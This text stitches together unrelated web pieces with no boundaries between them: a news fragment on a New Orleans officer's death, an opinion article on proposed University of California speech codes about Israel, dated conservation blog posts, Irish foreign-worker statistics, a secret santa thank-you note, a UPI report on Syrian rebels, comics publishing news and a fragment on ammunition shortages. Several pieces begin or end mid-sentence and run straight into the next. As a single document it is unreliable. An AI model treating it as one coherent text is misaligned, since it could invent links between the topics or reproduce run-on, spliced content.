"He was well-liked, well-loved by his colleagues. They are grieving and mourning," Harrison said. "From all indications, he loved doing his job, loved the New Orleans Police Department and loved working in east New Orleans."
McNeil was the fifth New Orleans Police Department officer to die in the line of duty over the past four years. Two were shot and three hit by cars.
A police officer for the city's public housing agency also was shot to death during that period.
New Orleans Mayor Mitch Landrieu said, "We talk to these officers at their graduation and of course we say this all the time about how dangerous this job really is, and unfortunately tonight our worst nightmares have come to be."There is no shortage of American pundits who love to denounce “PC” speech codes that restrict and punish the expression of certain ideas on college campuses. What these self-styled campus-free-speech crusaders typically — and quite tellingly — fail to mention is that the most potent such campaigns are often devoted to outlawing or otherwise punishing criticisms of Israel. The firing by the University of Illinois of Professor Steven Salatia for his “uncivil” denunciations of the Israeli war on Gaza — a termination that was privately condoned by Illinois Democratic Senator Dick Durbin — is merely illustrative of this long–growing trend.
One of the most dangerous threats to campus free speech has been emerging at the highest levels of the University of California system, the sprawling collection of 10 campuses that includes UCLA and UC Berkeley. The university’s governing Board of Regents, with the support of University President Janet Napolitano and egged on by the state’s legislature, has been attempting to adopt new speech codes that — in the name of combating “anti-Semitism” — would formally ban various forms of Israel criticism and anti-Israel activism.
Under the most stringent such regulations, students found to be in violation of these codes would face suspension or expulsion. In July, it appeared that the Regents were poised to enact the most extreme version, but decided instead to push the decision off until September, when they instead would adopt non-binding guidelines to define “hate speech” and “intolerance.”
One of the Regents most vocally advocating for the most stringent version of the speech code is Richard Blum, the multi-millionaire defense contractor who is married to Sen. Dianne Feinstein of California. At a Regents meeting last week, reported the Los Angeles Times, Blum expressly threatened that Feinstein would publicly denounce the university if it failed to adopt far more stringent standards than the ones it appeared to be considering, and specifically demanded they be binding and contain punishments for students found to be in violation.
The San Francisco Chronicle put it this way: “Regent Dick Blum said his wife, U.S. Sen. Dianne Feinstein, D-Calif., ‘is prepared to be critical of this university’ unless UC not only tackles anti-Jewish bigotry but also makes clear that perpetrators will be punished.” The lawyer Ken White wrote that “Blum threatened that his wife … would interfere and make trouble if the Regents didn’t commit to punish people for prohibited speech.” As campus First Amendment lawyer Ari Cohn put it the following day, “Feinstein and her husband think college students should be expelled for protected free speech.”
Photo: Paul Sakuma/AP
I should add that over the weekend my wife, your senior Senator, and I talked about this issue at length. She wants to stay out of the conversation publicly but if we do not do the right thing she will engage publicly and is prepared to be critical of this university if we don’t have the kind of not only statement but penalties for those who commit what you can call them crimes, call them whatever you want. Students that do the things that have been cited here today probably ought to have a dismissal or a suspension from school. I don’t know how many of you feel strongly that way but my wife does and so do I.
Blum’s verbatim comments at the Regents meeting are even creepier than that reporting suggests:
Sarah McLaughlin of the campus free-speech group FIRE wrote: “Yes, a UC Regent flatly threatened the university with political consequences if it failed to craft a ‘tolerance’ policy that would punish — and even expel — its violators.”
In response to inquiries from The Intercept, Feinstein refused to say whether her husband was authorized to make such threats on her behalf, but she refused to distance herself from them. “This is a matter before the University of California and Senator Feinstein has no comment at this time,” her Press Secretary said.
The specific UC controversy is two-fold: whether, in combating “anti-semitism,” the university should adopt the State Department’s controversial 2010 definition of that term, and separately, whether students who express ideas that fall within that definition should be formally punished up to and including permanent expulsion. What makes the State Department definition so controversial — particularly for an academic setting — is that alongside uncontroversial and obvious examples of classic bigotry (e.g., expressing hateful or derogatory sentiments toward Jews generally), that definition includes a discussion of what it calls “Anti-Semitism Relative to Israel.”
How does speech about Israel become “anti-Semitic”? According to the State Department, “anti-Semitism” includes those who (1) “Demonize Israel” by “drawing comparisons of contemporary Israeli policy to that of the Nazis” or “blaming Israel for all inter-religious or political tensions”; (2) espouse a “Double standard for Israel” by “requiring of it a behavior not expected or demanded of any other democratic nation” or “multilateral organizations focusing on Israel only for peace or human rights investigations”; or (3) “Delegitimize Israel” by “denying the Jewish people their right to self-determination, and denying Israel the right to exist.” The State Department generously adds this caveat at the end: “criticism of Israel similar to that leveled against any other country cannot be regarded as anti-Semitic.”
The ironies of this definition are overwhelming. First, it warns against advocating a “double standard for Israel” — at exactly the same time that it promulgates a standard that applies only to Israel. Would the State Department ever formally condemn what it regards as excessive or one-sided criticism of any other government, such as Russia or Iran? Why isn’t the State Department also accusing people of bigotry who create “double standards” for Iran by obsessing over the anti-gay behavior of Iran while ignoring the same or worse abuses in Saudi Arabia, Egypt and Uganda? The State Department is purporting to regulate the discourse surrounding just one country — Israel — while at the same time condemning “double standards.”
Worse, this State Department definition explicitly equates certain forms of criticism of Israel or activism against Israeli government policies with “anti-Semitism.” In other words, the State Department embraces the twisted premise that a defining attribute of “Jews” everywhere is the actions of the Israeli government, which is itself a longstanding anti-Semitic trope.
But most important of all, whatever you think of this State Department definition, it has no place whatsoever regulating which ideas can and cannot be expressed in an academic institution, particularly one that is run by the state (such as the University of California). Adoption of this “anti-Semitism” definition clearly would function to prohibit the advocacy of, say, a one-state solution for the Israel-Palestine conflict, or even the questioning of a state’s right to exist as a non-secular entity. How can anyone think it’s appropriate to declare such ideas off limits in academic classrooms or outlaw them as part of campus activism?
To ban the expression of any political ideas in such a setting would not only be wildly anti-intellectual but also patently unconstitutional. As UC Irvine School of Law Dean Erwin Chemerinsky put it today in an LA Times op-ed: “There unquestionably is a 1st Amendment right to argue against (or for) the existence of Israel or to contend that it should meet (or not have to meet) higher standards of human rights than other nations.” Even the now-retired Executive Director of the Anti-Defamation League Abraham Foxman — while arguing that “the effort to support boycott, divestment and sanctions against Israel, is sinister and malicious and is having a negative effect on Jewish students on some campuses and on the wider Jewish community” — acknowledged in May that such bans would be clearly unconstitutional:
Legislation that bars BDS activity by private groups, whether corporations or universities, strikes at the heart of First Amendment-protected free speech, will be challenged in the courts and is likely to be struck down. A decision by a private body to boycott Israel, as despicable as it may be, is protected by our Constitution. Perhaps in Europe, where hate speech laws exist and are acceptable within their own legal frameworks, such bills could be sustained. But not here in America.
But none of that seems to matter to Dianne Feinstein and her war-profiteering husband, Richard Blum. Not only is Blum demanding adoption of the State Department definition, despite the fact that (more accurately: because) it would encompass some forms of BDS activism and even criticisms of Israel. But, worse, he’s also insisting that it be binding and that students who express the ideas that fall within the State Department definition be suspended from school or expelled. And he’s overtly threatening that if he does not get his way, then his wife 0- “Your Senior Senator” — will get very upset and start publicly attacking the university, a threat that public school administrators who rely on the government for their budgets take very seriously.
This behavior is as adolescent as it is despotic. Does anyone believe that college and post-graduate students should be able to express only those ideas about Israel that Dianne Feinstein and her war-profiteering husband deem acceptable?
It’s no mystery what this is really about. The Israeli government and its most devoted advocates around the world are petrified at the growing strength of the movement to boycott Israeli goods in protest of the almost five-decade occupation. As Foxman conceded, the boycott idea “seems to be picking up steam, particularly on college campuses across the United States. While no universities have yet adopted or implemented BDS, there are a growing number of campuses — now up to 29 — where student organizations have held votes to determine whether they support BDS.” Just this week, the City Council of Reykjavik, the largest city in Iceland, voted to boycott all Israeli goods as long as the occupation persists (days later, the City quickly retracted the vote, citing the unexpectedly intense “backlash” from Israel).
After the horrific massacre they committed in Gaza last summer, followed by its devastating defeat on the Iran Deal, the Israeli government is rapidly losing the PR battle around the world, and they know it. The boycott movement scares them above all else because it is predicated on the truth that they are most eager to suppress: the similarities between what Israel is doing to the Palestinians and the apartheid policies of South Africa (which were undermined by a global boycott movement and which the world now universally regards as evil).
Since they are losing the debate about this movement, the Israeli government and its loyalists are instead seeking to suppress it altogether, to literally outlaw it. Recall that in May, the right-wing Canadian government threatened hate speech charges against those who advocate a boycott of Israel; the country’s Liberal Leader, Justin Trudeau, decreed via Twitter that “the BDS movement, like Israeli Apartheid Week, has no place on Canadian campuses.” Back in 2013, the ADL took out a full-page ad in the New York Times announcing that “the movement to boycott, divest from and sanction Israel — known as BDS — is anti-Semitic hate speech.”
The effort to formally re-define “anti-Semitism” to include certain criticisms of and activism against the Israeli government has been coordinated and deliberate. That history is laid out with ample evidence here by the non-profit group Palestine Legal; here by Ali Abunimah’s book The Battle for Justice in Palestine, the relevant portion of which was published by The Intercept; and here by the writer and activist Ben White. In essence, this re-definition was first promulgated by Israeli lobbyists and academics, imposed with varying degrees of success on the EU, and then successfully imported into the Clinton-led State Department.
It’s one thing to apply political pressure to induce governments to adopt speech-repressive definitions of “anti-Semitism” that are non-binding. It’s another thing entirely to try to import them onto state-run college campuses where they are used to outlaw the expression of certain forms of criticisms of the Israeli government. And it’s another thing entirely for a prominent public official like Dianne Feinstein to have her husband throw their ample financial and political weight around in order to threaten and bully school administrators to ban ideas that this power couple dislike and punish the students who express them.
The obvious goal with this UC battle is to institutionalize the notion on American college campuses that activism against the Israeli government is not merely wrong but is actually “hate speech” that should subject its student advocates (or professors) to severe punishment. If this menacing censorship is allowed to take hold in an academic system as large and influential as the University of California, then it’s much easier for the censors to point to it in the future as a model, in order to infect other academic institutions in the U.S. and around the world. That’s all the more reason to vehemently oppose it in this instance. If defenders of Israel are determined to defeat the boycott movement, they’ll have to find other ways to do it besides rendering its advocacy illegal and, in the process, destroying the long-cherished precept of free speech in academia.For information on the Bush Warriors Ambassadors Program, please scroll to the bottom of this page or see our post about the program by clicking here.
September 16, 2011
Are the Harry Potter series contributing to owl extinction? That’s what India’s Environment Minister says. Trade in owls for pets, superstitious rituals, & folk medicine have sent the nation’s beautiful birds into a VERY concerning downward spiral. Is the ‘power’ obtained from eating owl eyes really worth it? We posted this story nearly a year ago, but it’s just as important today. Share it to help raise awareness! http://wp.me/pH76q-4NW
Bush Warriors Tattoo of the Day: WICKED honey bee tattoo by Lenny Renkin! The colors make it bee-autiful! Are honey bees really going extinct? Why? Bees pollinate 1/3 of all agricultural plants. So, if we lose them, will humans go extinct too? Get these answers and more, at the link! http://wp.me/pH76q-4O0
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Bush Warriors Photo of the Day: “Me So Sleepy”–ADORABLE slumbering squirrel photo by Kevin Jeffery! A real sleeping beauty! Squirrels belong to a family of rodents called ‘Sciuridae’. 20% of the species in this group are threatened with extinction! Of all the woodchucks, chipmunks, and squirrels in this family, which is the largest? The smallest? Get nutty with these SQUIRREL FACTS! http://wp.me/pH76q-4O5
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September 15, 2011
Bears committing ‘suicide’? Bad reporting on a not-so-great NY law? Is hunting in the US helping to supply the black market bear bile trade? Chinese zoos advertising powdered bear bile? Read it all here and take action now with our new WRITE A LETTER, SAVE A BEAR campaign! http://wp.me/pH76q-4Np
Bush Warriors Tattoo of the Day: ROCKIN’ tiger tattoo by Mike Thompson-Hill! Dang…that’s killer! Even though there are tens of thousands of tigers in captivity all over the world (and especially as private pets in the US), THERE ARE ONLY 3,000 LEFT IN THE WILD! What are the reasons? How could relocating whole villages help? Read it all here: http://wp.me/pH76q-4NL Join us on Facebook at @Bush Warriors Inked Nation for Conservation
Bush Warriors Species of the Day: CRITICALLY ENDANGERED Atlantic Sturgeon- 85% of all sturgeon species are facing extinction, making them the world’s most threatened animal group. What’s caviar got to do with it? Learn about the threats to the Atlantic Sturgeon and help raise awareness about them before it’s too late! http://wp.me/pH76q-4JV
Bush Warriors Photo of the Day: “Eye See You”–FANTASTIC frog photo by Dale Morris! What a cool photography trick! As we go deeper into earth’s 6th major mass extinction event, frogs are suffering extensively. Habitat is certainly behind it, but what other factors are driving their declines? Read about it at the link! http://wp.me/pH76q-4NQ
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September 14, 2011
Victory for the bears? Not so fast. Many reports state that a new law in NY bans trade in bear gall bladders and bile in the state, but that’s not accurate. As other states also allow these activities, is hunting in the US contributing to the bear bile trade? The same that keeps the animals under horrific conditions in Asian bear bile farms, where bears are now committing ‘suicide’? Take action now with our new WRITE A LETTER, SAVE A BEAR campaign! http://wp.me/pH76q-4Np
September 12, 2011
Much of the world’s primates are in decline. Last year, the IUCN Primate Specialist Group compiled a list of the world’s 25 most endangered primates. Here, we take a closer look at 3 of these 25: Cat Ba Langurs, Greater Bamboo Lemurs, and Kipunjis. Together, their combined total number is less than 1,400. One of these species has less than 100 individuals left. Learn more her: http://wp.me/pH76q-4LT
Bush Warriors Tattoo of the Day: BEAUTIFUL chimp tattoo by Julio Rodriguez! Wow, that’s awesome! Chimp populations have declined by 70-83% in just the past 50 yrs. Read about their plight here and spread the word to raise awareness! http://wp.me/pH76q-4LX
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Bush Warriors Species of the Day: South America’s Giant Armadillo–a cousin of the endangered pangolins–is listed as VULNERABLE. This ancient species, uniquely adapted to its environment, is declining due to poaching and live capture for animal trade! Read more about it here: http://wp.me/pH76q-4JM
Bush Warriors Photo of the Day: “Color Me Beautiful”–SPECTACULAR rainbow lorikeet photo by Erik Beckman! Beautiful! Why are they called “parrots with attitude? Read all about that and more, including their popularity in the caged bird trade and the impacts of that, at the link! http://wp.me/pH76q-4Md Enter the contest on Facebook at @Bush Warriors Inked Nation for Conservation
Bush Warriors Organization of the Day: Ewaso Lions– A multi-pronged, community-based approach to the conservation of Kenya’s Ewaso lions! This organization incorporates some very effective and fascinating initiatives to get the job done and save lions. We salute your work, Ewaso lions! Keep it up! http://wp.me/pH76q-4ML
Bush Warriors Video of the Day: “Victims of Climate Change”–The events contained in this video are, obviously, already happening and are worsening. The US government recently approved a new offshore oil drilling venture in Alaska, whilst polar bears and other Arctic creatures lose more and more of their habitat each year. It’s up to us to make this stop! http://wp.me/pH76q-4N7
September 9, 2011
Bush Warriors Tattoo of the Day: FANTASTIC grizzly bear tattoo by Tim Pangburn! Stunning! For the first time in 25 years, there have been 2 humans killed by these bears in Yellowstone National Park. In a separate incident, a man illegally killed a grizzly & his charges were dismissed. Why? And are these events grounds for withdrawing the animals’ protected status? Read it all here: http://wp.me/pH76q-4LK
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Bush Warriors Species of the Day: Burnup’s Hunter Slug is listed as ‘VULNERABLE’– A fascinating, predatory slug endemic to South Africa and listed in the same category as the nation’s lions! Learn about the threats to this little creature at the link: http://wp.me/pH76q-4Jw
September 7, 2011
In just 56 days, the tusks of 1,800 elephants were seized by officials in 3 countries. These represent only a fraction of the ivory circulating global markets. Recent noteworthy events have put the heat on China, the world’s #1 ivory consumer. As situation escalates, we’re now seeing trade involvement from within the US & European countries. Get up to date on the latest developments here: http://wp.me/pH76q-4Lh
September 6, 2011
We first featured this article almost a year ago, but its just as inspiring today! Read about shark hero Mike Lever’s brave journey to save the Great Whites and other sharks off the Pacific coast of Mexico. His story highlights the beauty of these animals and the way SHARK TOURISM can help to save them! If nothing else, you gotta see the last photo on the story–it’s our favorite!! http://wp.me/pH76q-4KT
Bush Warriors Tattoo of the Day: GORGEOUS clownfish tattoo by Phil Garcia! Wow! It’s so realistic! Was Disney’s Nemo a hermaphrodite?! Did ‘Finding Nemo’ lead to the decimation of clownfish populations? What’s the deal with these fish and sea anemones? Read it all here: http://wp.me/pH76q-4KW Join us on Facebook at @Bush Warriors Inked Nation for Conservation
Bush Warriors Species of the Day: CRITICALLY ENDANGERED Social Wrasse- A beautiful fish found only in Belize’s Pelican Cays, a World Heritage Site where tourism development is destroying critical mangrove and coral reef habitat utilized by this species. Learn more here: http://wp.me/pH76q-4IP
Bush Warriors Photo of the Day: “Catching Those Last Minutes of Ssssun”–EXQUISITE sunsetting photo of a vine snake by Karthi Keyan! Stunning! There are about 25 species of vine snake. 1 is considered Critically Endangered. Read about some very unique features among this group of snakes at the link: http://wp.me/pH76q-4L5
Enter the contest on Facebook at @Bush Warriors Photo of The Day Contest
Bush Warriors Organization of the Day: Chipembele Wildlife Education Trust – CWET– Paving the way of the future–literally!–by teach children about wildlife and the environment, while rescuing animals in the process! Check out a new fun way for YOU to support CWET with a killer, new “Don’t Buy Ivory” shirt designed by a fellow Bush Warrior, Jude Price! It’s all at the link: http://wp.me/pH76q-4Lc
September 5, 2011
Several of Chile’s frogs are amongst the 33% of all the world’s frog species that are now threatened with extinction–including the little guys made famous by Charles Darwin, the Darwin’s Frogs! Prominent herpetologist, Dr. Danté Fenolio, explains the threats posed to Chile’s most endangered amphibians and the efforts underway to prevent their extinction. You gotta check this out! http://wp.me/pH76q-4Kg
Bush Warriors Tattoo of the Day: RAD Steve Irwin tattoo by Shane O’Neill! CRIKEY! That’s a beaut!!! Yesterday marked the 5th anniversary of this legendary wildlife warrior’s tragic death, so we’re posting this tattoo to commemorate a TV icon that changed the way society views wildlife 4ever. Read more here: http://wp.me/pH76q-4KH Join us on Facebook at @Bush Warriors Inked Nation for Conservation
Bush Warriors Species of the Day: France’s Crau Plain Grasshopper is one of numerous species that has not yet been identified by the IUCN, but qualifies as CRITICALLY ENDANGERED. Will the IUCN get to this unique, flightless grasshopper before it is too late? Read more here: http://wp.me/pH76q-4Is
Bush Warriors Photo of the Day: “My Own Little Waterhole Vacation”–ADORABLE elephant photo by Shazaad Kasmani! Say it with us, “Awwww!” ❤ Shazaad explains how this little guy stepped into a mud puddle for a moment of solitude and we remind you that “an elephant never forgets”. Check this out: http://wp.me/pH76q-4KO
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September 4, 2011 (International Vulture Awareness Day)
Today is International Vulture Awareness Day, so we’ve re-posted this story about the devastating plight of India’s vultures. These birds’ populations have declined by 95-99% over the past 20-30 years, mainly due to exposure to a human wonder drug that has fatal affects on these important scavenger. Read about it here and share to help raise awareness about the vultures! http://wp.me/pH76q-4K4
Bush Warriors Photo of the Day: “The Scavenger Squad”–A special Photo of the Day for International Vulture Awareness Day–a DAZZLING Cape Vulture photo by Fred von Winckelmann! There are only 8,000-10,000 of these of these important African birds, so read all about them here! http://wp.me/pH76q-4K7 Enter the contest on Facebook at @Bush Warriors Photo of The Day Contest
A special International Vulture Awareness Day Species of the Day: India’s CRITICALLY ENDANGERED Red-Headed Vulture. This bird of prey is one of several critically endangered vulture species. Read about their threats at the link! http://wp.me/pH76q-4Ke
September 2, 2011
Kidnapping? Busting big wig criminals? Exposing international scandals? Set your recording device because you don’t want to miss this! Watch Nat Geo Wild on Tues. the 6th to see Environmental Investigation Agency’s incredible undercover operations on elephant poaching, illegal ivory trade, whaling, & the massive illicit timber trade. YOU GOTTA SEE THESE PREVIEWS! http://wp.me/pH76q-4ID
Bush Warriors Tattoo of the Day: EPIC hummingbird tattoo by Nick Chaboya! Those colors, those details…insane! They’re the only birds that can fly backwards. How fast can they fly? Did ya know at least 14% of all hummingbird species are threatened w/ extinction? Check out these facts about our little humigos! http://wp.me/pH76q-4IU
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September 1, 2011
After a brutal run-in with a boat’s propeller in June 2010, death seemed imminent for Andre the green sea turtle. Yet, by a miracle, a team of passionate and committed individuals, and the use of revolutionary technology, his life was saved. Although just one little turtle, Andre had a BIG message for the world. Read his emotional, INSPIRATIONAL story here: http://wp.me/pH76q-4HE
Bush Warriors Tattoo of the Day: AWESOME frog tattoo by Victor Policheri! Wow, you can almost feel the water splashing! Did ya know 1/3 of all amphibian species are threatened w/ extinction? What’s the diff between frogs & toads? Biggest frog in the world? Check these facts from SAVE THE FROGS! http://wp.me/pH76q-4I4
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Bush Warriors Species of the Day: CRITICALLY ENDANGERED Kaempfer’s Woodpecker–This bird was thought to be extinct for 80 yrs, before it was rediscovered in 2006. It’s threatened by extensive loss of its unique habitat, especially due to Brazil’s soya cultivation & other agricultural practices. Some is even criminally burned to justify these uses. Read it here: http://wp.me/pH76q-4DL
Bush Warriors Photo of the Day: “Never Fear! The Termite Exterminator is Here!”–FABULOUS snap by Frank Solomon! At least 1 Asian pangolin is poached EVERY HR now. Are African species also under increasing threat? Poachers in Zimbabwe using ‘traditional laws’ & President Mugabe to escape charges? Read this: http://wp.me/pH76q-4Ih
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Bush Warriors Organization of the Day: Gabon Sea Turtle Partnership–A non-governmental organization committed to the conservation of sea turtles of Gabon, which is home to the world’s largest nesting Leatherback turtle population–a critically endangered species. Hats of to GSTP! Keep up the good work! http://wp.me/pH76q-4It
Bush Warriors Video of the Day: “Romancing the Bag”–Did you know that plastic pieces in the ocean outweigh surface zooplankton in the Central North Pacific by a factor of 6:1? Ever heard of “Plastic Island”? Help our planet by cutting down your consumption of plastic. Check out these alarming facts! http://wp.me/pH76q-4Iy
August 26, 2011
The saiga antelope–an animal that looks like it’s straight out of a Dr. Suess book–has suffered the FASTEST DECLINE EVER RECORDED for a mammalian species. It was reduced by over 90% in less than 40 years, after a major international wildlife organization mistakenly suggested saiga horns to replace rhino horns in traditional medicine. How much time is left for these beauties? http://wp.me/pH76q-4Hf
Bush Warriors Tattoo of the Day: PHENOMENAL shark tattoo by the one and only Dmitriy Samohin! That’s nuts!! Shark body parts used to make scooter handlebar grips? Some sharks give birth?? How do sharks sleep? Check out these shark facts! http://wp.me/pH76q-4Hh Join us on Facebook at @Bush Warriors Inked Nation for Conservation
Bush Warriors Species of the Day: Madagascar’s Aquatic Tenrec is listed as VULNERABLE. This rare, semi-aquatic mammal is another victim of the nation’s rampant deforestation, with its vital riverine habitat being degraded by resultant siltation and soil erosion. Read more here: http://wp.me/pH76q-4Dn
Bush Warriors Photo of the Day: “Peace, Love, Chameleons”–SPECTACULAR chameleon photo by Zach Cooney! Wow! This one reminds us all to ‘stop and smell the roses’! How many chameleons are now endangered? What are the threats to these beautiful reptiles? Read all about em here: http://wp.me/pH76q-4Ho Enter the contest on Facebook at @Bush Warriors Photo of The Day Contest
August 25, 2011
A recent series of rare, fatal shark attacks highlight myths that lead to unnecessary killing of these imperiled marine predators. Natal Sharks Board joins Seychelles fishermen in a ‘killer shark’ crusade, but conservationists say killing sharks is nothing new to this government agency. Their ‘shark control’ methods are not only highly controversial, but also quite lethal. http://wp.me/pH76q-4H3
August 23, 2011
Bush Warriors Tattoo of the Day: CRAZY squirrel tattoo by the legendary Stefano Alcantara! Squirrel tattoo, silly? More like AWESOME! Did you know 20% of the squirrel family is threatened with extinction? Did you know squirrels have a sort of ‘thumb’? Get squirrely w/ these squirrel facts! http://wp.me/pH76q-4GG
Join us on Facebook at @Bush Warriors Inked Nation for Conservation
Bush Warriors Species of the Day: ENDANGERED Tulotoma Snail–This rare freshwater invertebrate is endemic to 2 river systems in the state of Alabama and has been driven toward extinction by multiple human influences. A good aquatic species to honor World Water Week! Read more about it here: http://wp.me/pH76q-4CE
Bush Warriors Photo of the Day: “A Little Tweetheart”–EXQUISITE Common Waxbill photo by John Deakin! How cute! These birds have a very interesting concept when it comes to protecting their nest from predators, do you know what it is? Find out here: http://wp.me/pH76q-4GU
Enter the contest on Facebook at @Bush Warriors Photo of The Day Contest
August 22, 2011
Bush Warriors Tattoo of the Day: INCREDIBLE badger tattoo by Pittsburgh’s Steve Morris! Did u know groups of badgers are called ‘clans’ and their dens are called ‘sets’? Did u know there are 12 species of badger? Why were some gassed in their dens? Read it all here: http://wp.me/pH76q-4Gq
Join us on Facebook at @Bush Warriors Inked Nation for Conservation
Bush Warriors is going to the Whitehouse on September 22nd, World Rhino Day, to raise awareness about rhinos and urge President Obama to take action on the burgeoning rhino crisis! Come on, come all AND JOIN US in this Capitol event! http://wp.me/pH76q-4Gf
Bush Warriors Photo of the Day: “Horns of Hope”–GORGEOUS rhino photo by Jonathan Pledger! Brush up on your rhino knowledge with these rhino facts! http://wp.me/pH76q-4GA Enter the contest on Facebook at @Bush Warriors Photo of The Day Contest
August 19, 2011
As the Asia’s Big Cats talks come to a close today at the 61st annual CITES Standing Committee meeting (as well as the meeting itself), we thought we’d re-post this article to review some of the key points that need to be addressed for the conservation of tigers to be successful. http://wp.me/pH76q-4Ga
August 18, 2011
As the Asia’s Big Cats talks come to a close today at the 61st annual CITES Standing Committee meeting (as well as the meeting itself), we thought we’d re-post this article to review some of the key points that need to be addressed for the conservation of tigers to be successful. http://wp.me/pH76q-4Ga
Bush Warriors Tattoo of the Day: STUNNING owl tattoo by Ping Pong! What a cutie! Ever heard of the Pernambuco Pygmy Owl? Did you know it’s 1 of the world’s most endangered owls–if it hasn’t already gone extinct? Read more about these nocturnal birds of prey and threats to their survival here: http://wp.me/pH76q-4G5 Join us on Facebook at @Bush Warriors Inked Nation for Conservation
August 17, 2011
As discussions about the surge in illegal ivory trade continue in Geneva, we thought you might be interested in reviewing how the trade actually works. Here’s an article we posted not long ago that sums it all up. http://wp.me/pH76q-3EJ
August 16, 2011
Today is a day of sorrow, as strong voice for tigers and prominent wildlife activist, Shehla Masood, has been murdered in cold blood. Shehla gave everything she had to what she believed in and there is much we can all learn from a TRUE Bush Warrior like her. What did Shehla have that the enemies of wildlife do not? What can we take away from her tragic and untimely death? Read on… http://wp.me/pH76q-4EZ
Bush Warriors Tattoo of the Day: RAD rhino tattoo by Lee of Taiwan’s Night Action Tattoo! Awesome, dude! UK Minister Benyan publicly calls the illegal rhino horn trade ‘archaic’, after >250 rhinos have been killed by poachers already this yr. The UK wants action taken! Read it: http://wp.me/pH76q-4Fi Join us on Facebook at @Bush Warriors Inked Nation for Conservation
Bush Warriors Species of the Day: CRITICALLY ENDANGERED Seychelles Paradise-Flycatcher–These gorgeous birds are found only in the Seychelles archipelago, but how much longer will they even be found there? Read about the threats to this feathered beauty and the work being done to protect it here: http://wp.me/pH76q-4D4
August 15, 2011 (Colombia’s National Cotton-Top Tamarin Day!)
A real live forest furby is in danger of extinction! Rampant deforestation and the illegal pet trade have landed Colombia’s Cotton-Top Tamarins on the CRITICALLY ENDANGERED list. Read more about them here and don’t forget to support the people fighting for them, Proyecto Titi! http://wp.me/pH76q-4Es
Bush Warriors Tattoo of the Day: Cotton-top Tamarin Day |
out with 11,206 obtained by foreign workers last year.
And the UK, Romania and Poland have had the three highest number of PPSN allocation by country during the last four years since 2013.
Meanwhile, accommodation and food services along with wholesale and retail trade, repair of motor vehicles and motorcycles, administrative and support service activities, manufacturing and the information and communication sectors made up 64% (263,076) of all foreign nationals employed here.
(Image: Rex)
And employment activity rates during the year that PPSNs were assigned increased by over 4% last year to 51,914 when compared to the 2015 figure of 41,855.
Meanwhile, the data revealed the number of foreign workers assigned PPSNs gradually reduces in the years that follow since they were given the numbers.
Tens of thousands of foreign nationals return to their country of origin every year, while others choose to relocate to other EU countries.
Less than one on four foeign nations given PPSNs in 2011 worked here for any period last year.
The CSO report found that of the 57,946 foreign nationals aged 15 years and over who were assigned PPSNs in 2011, 13,759 or 23.7% had employment activity at any time last year.
The study on foreign nationals during the period 2002 to 2016 was completed after figures were obtained from the Revenue Commissioners, the Department of Employment Affairs and Social Protection.I collected my gift today, and wanted to take a moment to write sincerely to my secret santa concerning their kindness.
In the information provided to you before the time for sending & receiving came around, I shared a small part of my life and the events going on within it.
Since that time, and late evening spent typing out information about me and what was going on, I am no longer homeless or uncertainly drifting between couches. I am living with four awesome people - In a 100% accepting, safe, and familiar household. My name legally changed to better reflect myself & leave a negative person in the past.
I have been out of the abusive situation I found myself struggling in, and now am officially no-contact with the individuals involved in it.
I opened your package this morning on my day off, and almost immediately threw off the other scarf I was wearing (And struggling to tie that morning in a proper french-knot) - Before proceeding to wear the new scarf all day. The color is actually GREAT on me & I love it dearly. Also, note, I need to thank my roommate who was so generously driving me - As they did not complain when I threw wrapping paper into the backseat of their car.
I'm looking forward to learning a bit more about the fundamentals of cooking - This book is right up my alley!
I will admit I'm still tearing up about the small letter, and jar of pickles you sent me. It's clear you did a little research into the LGBTQ subreddits I frequently browse; And I want you to know this was the first day I cried AND laughed in a long while.
Thank you for the gift card towards makeup as well (Which isn't pictured, naturally)
You've really made a wonderful memory for the first Christmas/Holiday season I've ever actually enjoyed as myself. I really appreciate you, and wish only the best of things for you this new year!The U.S. military announced earlier this month that it was vetting some 7,000 people for military training in Syria. The military hopes to train 3,000 to 5,000 Syrian fighters each year. File Photo by UPI/Ahmad Deeb | License Photo
ALEPPO, Syria, July 30 (UPI) -- The al-Nusra Front, an al-Qaida affiliate, has captured the leader and several members of Division 30, a U.S.-backed rebel group in Syria.
The al-Nusra Front is accused of abducting Nadim al-Hassan and several of his companions on Tuesday in Azaz, a rural area north of Aleppo. Division 30 has urged al-Nusra to release them.
The majority of Syrian rebel fighters who have completed training by the United States are from the Division 30 group.
The U.S. has been training moderate rebels who are fighting a two-front war against the Islamic State and the Syrian regime of President Bashar al-Assad.
Earlier this month, U.S. Secretary of Defense Ashton Carter announced that the U.S. military has trained "an awfully small number" of 60 Syrian rebels to fight Islamic State militants.
"I said the number 60, and I can look out at your faces and you have the same reaction I do, which is that that's an awfully small number," he said.
Part of the reason there is such a small number of Syrian rebel fighters being trained is because they must first be vetted to make sure they do not support Syria's Assad regime.
"We make sure that they, for example, aren't going to pose a green-on-blue threat to their trainers; that they don't have any history of atrocities," Carter said.
The military announced it was vetting some 7,000 potential volunteers, and they hope to train 3,000 to 5,000 Syrian fighters each year.
Danielle Haynes contributed to this report.Here’s some great news: Fantagraphics will be distributing Breakdown Press in the US. IT won’t be the entire line – which includes such Risographed experimental wonders as Connor Willumsen’s Treasure Island and Conor Stechschulte’s Generous Bosom – but all the offset books, including manga titles by Hayashi Seiich and The Artist by Anna Haifisch. The deal starts with November’s Diamond catalog.
“Breakdown is the UK’s most ambitious, progressive, and editorially risk-taking comics publisher, so it was logical to partner with someone we considered a kindred spirit” said Fantagraphics President Gary Groth. “We look forward to getting their books and authors the wider readership in the US that they deserve.”
“Fantagraphics are known for working with the best cartoonists in the world and so Breakdown’s books will be a perfect fit” said Breakdown Press editor Tom Oldham “We’re excited to be working with Fantagraphics to bring our books to a wider audience in North America”.
Breakdown Press is run out of the UK by founders Simon Hacking, Tom Oldham, Josh Palmano and Joe Kessler. Authors include Stechschulte, Lale Westvind, Seiichi Hayashi, Antoine Cossé, and many others.
I can say without too much exaggeration that Breakdown is my favorite small press publisher. Their books have incredible design sense, challenging stories and a thoroughly modern sensibility. Previously you could only get their books at shows or mail order, so this is a big step for them, and a great pick up for Fantagraphics.
Heidi MacDonald is the founder and editor in chief of The Beat. In the past, she worked for Disney, DC Comics, Fox and Publishers Weekly. She can be heard regularly on the More To Come Podcast. She likes coffee, cats and noble struggle.
Like this: Like Loading...Local law enforcement agencies across the country are facing an ammo shortage, as gun owners concerned about new laws at the federal and state level stock up on firearms and bullets.
At the same time, the Department of Homeland Security has said it wants to buy more than 1.6 billion rounds of ammunition in the next four or five years -- which could put further strain on the supply.
